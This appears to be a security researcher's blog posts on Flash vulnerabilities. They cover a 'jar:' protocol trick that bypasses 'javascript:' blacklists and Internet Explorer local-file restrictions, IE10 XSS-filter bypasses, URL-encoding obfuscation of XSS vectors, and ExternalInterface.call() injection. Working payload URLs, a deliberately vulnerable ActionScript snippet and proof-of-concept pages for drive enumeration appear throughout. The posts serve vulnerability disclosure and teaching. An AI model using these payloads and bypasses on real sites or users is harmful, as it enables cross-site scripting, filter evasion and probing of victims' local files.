A guideline for penetration testers to find vulnerabilities in Flash files was presented in BSides Manchester 2016.
The slides can be found at:
The PowerPoint file can be downloaded from:
https://soroush.secproject.com/downloadable/flash_it_baby_v2.0.pptx
I think I have already proven my interest in using simple vectors to bypass available protections (some examples to support my claim!: IIS Semi-colon issue, IIS Short Filename Scanner, Mozilla Firefox Directory Traversal by using resource protocol, etc). Now, I am going to reveal more secrets and this time in Flash and also Internet Explorer!
Please note that this section may need to be updated in future as I have not spent enough time researching this subject yet! Therefore, if you have found something relevant or if you know a useful tip, please share it with me too.
We know that “navigateToURL” can lead to a Cross Site Scripting or Open Redirect issue. When I was playing with “navigateToURL” function in AS3, I found an interesting protocol that Flash ignores and it is called “jar:” protocol. I had seen this in Firefox before but never in Flash!
In flash binary file, there are also other protocols listed that can be useful for the research purposes but none of them has the unique feature of “jar:” protocol. Their list is as follows:
rtmp: rtmpt: rtmps: rtmpe: rtmpte: mk:@MSITStore: Ms-its: vnd.ms.wmhtml: etc: ms-help: hcp: msencdata: jar: rtmpt:// rtmps:// rtmpe:// rtmpte:// rtmfp:// file://// app: app-storage:
Some of these protocols are for streaming purposes (such as “rtmps”), some of them are application specific protocols (such as “Ms-its” for IE), and others are generic protocols that we already know about!
It seems flash ignores “jar:” protocol and it becomes a transparent protocol. In other words, there is no difference between “javascript:alert(1)” and “jar:javascript:alert(1)” in Action Script. I have not yet found any other usage of this protocol (maybe it is vulnerable as well!).
Now if an application uses a blacklist protection to detect “javascript:” or “vbscript:”, it can be easily bypassed!
Here is our vulnerable example code:
var input:String = root.loaderInfo.parameters.input; // input variable
var dangerousInput:RegExp = /^\w*script:.*/i; // to cover javascript: and vbscript: protocols!
if(!dangerousInput.test(input))
{
// Safe to go?!!! --> No! What about "jar:javascript:"?
navigateToURL(new URLRequest(input),"_self"); // redirection
}
And here is the real example:
* http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:javascript:alert(1);// *
This Action Script is also vulnerable to XSS by using “data:” protocol in Firefox which I believe is a known issue.
By default, Flash does not allow you to use sensitive protocols such as “File://” or “Ms-its:” in “navigateToURL”. If you try to open “http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\”, you will receive the following error (you can view the errors by using debugger version of Flash Player):
SecurityError: Error #2148: SWF file http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\ cannot access local resource file://c:\. Only local-with-filesystem and trusted local SWF files may access local resources. at global/flash.net::navigateToURL() at MethodInfo-1() at flash.events::EventDispatcher/dispatchEventFunction() at flash.events::EventDispatcher/dispatchEvent() at com.powerflasher.SampleApp::link_protocol_test()
As you can see in the error message, only local-with-filesystem should be able to use “File:” protocol.
I found out that it is possible to bypass this protection by using “jar:” protocol followed by a restricted protocol and by playing with slashes and backslashes preceding the restricted protocol. And now it is up to the browsers to protect their users against any possible attack!
I have tested this technique in Google Chrome, Mozilla Firefox, and Internet Explorer and I could not bypass the first two! Which means only Internet Explorer is falling for this bypass method!
Here are some examples of my bypass vectors:
Jar protocol – Opens C drive (note that I use only 1 slash character for the File protocol):
* http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\ *
Jar protocol – Opens a file in your local C drive:
* http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\windows\Starter.xml *
Jar protocol – Opens other restricted protocols in IE – example 1:
* http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:shell:cookies *
Jar protocol – Opens other restricted protocols in IE – example 2:
* http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:mk:@MSITStore:C:\Windows\Help\mui\0409\certmgr.CHM::/html/355962c2-4f6b-4cbd-ab00-6e7ee4dddc16.htm *
Playing with backslashes without using “jar:” protocol – Opens C drive:
* http://0me.me/demo/xss/flash/link_protocol_test.swf?input=\\/c:/ *
Now you can open any of these links in an IFrame. I have created a PoC in the following link:
http://0me.me/demo/xss/flash/iframe_link_protocol_test.html
As you can see in the PoC link, it is even possible to identify if an item is available or not! As a result, it is possible to enumerate the local hard-drives (what about the internal network? ;) )
Now the question is: “what can I do by opening a local resource in an IFrame?”. I had some thoughts but I asked the same question in my twitter as well to collect more information. I say thank you to the following people who kindly answered my question: @obnosis, @mall0cat, @dveditz, @AbiusX, @cgvwzq, @superevr, @Milad_Bahari.
These are the things we should be able to do by opening the local file system in an IFrame:
1- Running a dangerous browser readable file (such as html, swf, and so on) that contains malicious scripts to steal more data, execute command, or target the internal network. In order to exploit this issue, you need a vulnerable/malicious file with proper extension (IE should be able to open it) in the target’s machine. This can be an existent file or a file that has been downloaded to the target. However, you may need the user’s interaction (see this old issue: http://forums.cnet.com/7726-6132_102-5480227.html).
2- Hijacking the local sensitive files by using drag-and-drop feature. I should say that I was unable to do this in my PoCs. Maybe I should try harder?!
3- Scanning the local resources.
4- Fingerprinting the users based on their files and directories.
I have created a PoC to eject the empty CD/DVD drives in IE (tested in IE10) – just like old Trojans!!!:
http://0me.me/demo/xss/flash/open_cdrom.html
I have used another advisory of mine to enumerate the valid Drive letters and I am opening them one by one in an IFrame!
Catch-up on Flash XSS exploitation – bypassing the guardians! – Part 1
I had tweeted a few techniques in exploiting XSS in vulnerable flash files a few months ago. I thought it is a good idea to summarise them here and share it with you. I will try to add more parts to this in future…
It seems only IE as a browser has protections against normal reflected XSS attacks on flash files. For example, if you open the following link in IE10, Javascript won’t have access to the DOM objects:
http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
Instead, it will show you the following error message in the console (press F12 to see it):
The same script is run easily in Firefox (without NoScript) and Google Chrome. Moreover, the other methods that I had invented previously in the following blog post do not work in IE10: “http://soroush.secproject.com/blog/2012/11/xss-by-uploadingincluding-a-swf-file/”.
Now, I have found a workaround to also bypass IE10 protections and run the script:
* http://0me.me/demo/xss/xssproject.swf?js=location.href='javascript:x="<script>alert(document.domain)</script>"' *
It is based on the following simple fact:
“javascript:x=”echo”” in the URL, will print “echo” on the screen and it can contain HTML tags. Any script will then have access to the objects of the original page.
If you need to send the vectors to a server behind a firewall (flashvars can be sent after the “#” character to be hidden from the server) or to bypass client-side Anti-XSS protections, this method can be very useful.
Flash discards invalid URL encoded values completely:
A) It discards 2 characters if you have an invalid hex character ([^0-9a-fA-F]) immediately after the percentage character. Example: “%X” or “%=”
B) It discards 3 characters if you have a valid hex character after the percentage character followed by an invalid hex character. Example: “%AX” or “%A&”
Note1: During this test, I have observed that sometimes values greater than 127 in ASCII will be converted to a question mark (“?”) character. This happens in URL redirection cases.
Note2: Encoded BOM characters (“%EF%BB%BF”) can also replace the space characters. Example: “alert(1)” can be rewritten as “alert%EF%BB%BF(1)” (http://en.wikipedia.org/wiki/Byte_order_mark)
Exploits can even be more deceptive if you use the following vectors: “%#” or “%A#”. It will not send your complete vector to the server because of the “#” character.
Example:
Original queries:
http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain); http://0me.me/demo/xss/xssproject.swf?js=location.href='javascript:x="<script>alert(document.domain)</script>"'
New equivalent queries:
http://0me.me/demo/xss/xssproject.swf?%#js=al%A#e%Xrt(docum%A#ent.doma%A#in); http://0me.me/demo/xss/xssproject.swf?%I%R%S%D%%Ljs=loca%Xtion.hr%Yef='jav%Zascri%AXpt:x="<sc%AYript>ale%AZrt(docu%?ment.dom%/ain)</sc%&ript>"'
As you can see in these examples, a flash based XSS attack can be obfuscated very well!
NoScript was bypassed initially by using this trick but it has been patched since version 2.6.6.8 (http://noscript.net/changelog). Thanks to Giorgio Maone (@ma1).
I will try to post more related materials in regards with Flash security. I may divulge some 0days here…, who knows?
Introduction:
This post is a result of reading the following useful report:
The other reason to beware ExternalInterface.call() (http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html)
The issue that I want to discuss here is not something different; however, I want to add something to the current materials.
Description:
According to the Adobe website, ExternalInterface.call() can accept a JavaScript function name as the first argument and a string which would be sent to that JavaScript function. Adobe says “When the call is to a JavaScript function, the ActionScript types are automatically converted into JavaScript types; when the call is to some other ActiveX container, the parameters are encoded in the request message.”. Therefore, in our case, the string would be converted into JavaScript type.
All we are trying to say is that it is possible to inject a specific parameter to an input and change the way of running the JavaScript. I should say it is very similar to the current code Injection methods in which we actively change the queries/requests to run whatever we want!
Proof of Concepts:
I want to explain it by using the example that Adobe has put in its document. I have put all the files in the following URL: http://0me.me/demo/adobeflash/ExternalInterface.call/ . Please use Mozilla Firefox if you want to see the same error messages as this PoC.
Now follow these steps:
1- Open this link: http://0me.me/demo/adobeflash/ExternalInterface.call/demo.html
2- Enter “\”” in the flash box (dark box) and press the gray button in front of it:
3- Now, you should be able to see this error in Error Console:
As you can see, we could escape the slash character “\” which was for escaping the double quotation character. Therefore, we are able to inject our JavaScript here now.
4- Now, try to enter “\”));alert(/XSS/)}catch(e){}//” in that box and press the gray button. You should be able to see the alert message:
It is because of the fact that we could complete the main functions and comment the remaining bits which is the method of code injection.
Now, you may think that we need to have a valid JavaScript function in the page or you may even think we always need to have a HTML file. I will explain this in the next section and I will prove that you can execute a JavaScript code even by running the SWF file directly without using any HTML file or JavaScript function.
Run the flash file directly now:
Now I want to add this bit that we do not need to have a real JavaScript function or a HTML page to execute a JavaScript code under the website content. In this case we only need to put the JavaScript code inside the “catch” section. This is the PoC:
1- Open this URL: http://0me.me/demo/adobeflash/ExternalInterface.call/ExternalInterfaceExample.swf
2- Now, enter the following text in the box and press the button:
“\”));alert(/XSSThis/);}catch(e){alert(/XSSOr/)}//”
3- You should be able to see this message now:
As a result, we can do a XSS attack just by opening a vulnerable or malicious/uploaded SWF file.
Note: you may have problem with closing the alert window in some browsers.
Why can this be a risk?
The websites which are using ExternalInterface.call() with the user’s provided input -without having input validation- can be in risk of having XSS vulnerability. Besides, an attacker can upload a malicious SWF file when a website lets him/her do so in order to make the website vulnerable to XSS attack – in this case I should say, an attacker might be able to do more than a XSS by uploading a SWF file.
Solution(s):
If we think about this code injection, it is really another input validation issue. It again says that the developers must not trust the provided inputs and we certainly need to have input validation when we receive the user’s input.
Note: Regarding the main reference of this text, Adobe has not accepted this as an issue to fix it fundamentally yet.
References:
– The other reason to beware ExternalInterface.call() http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html
– Agora 3.0.0 RC1 Rev.4 XSS Vulnerability http://jeffchannell.com/Joomla/agora-300-rc1-rev4-xss-vulnerability.html
– Finding Vulnerabilities in Flash Applications http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt
– Cross-Site Scripting through Flash in Gmail Based Services http://blog.watchfire.com/wfblog/2010/03/cross-site-scripting-through-flash-in-gmail-based-services.html
– ActionScript 3.0 Language and Components Reference http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/external/ExternalInterface.html
– Code Injection http://en.wikipedia.org/wiki/Code_injection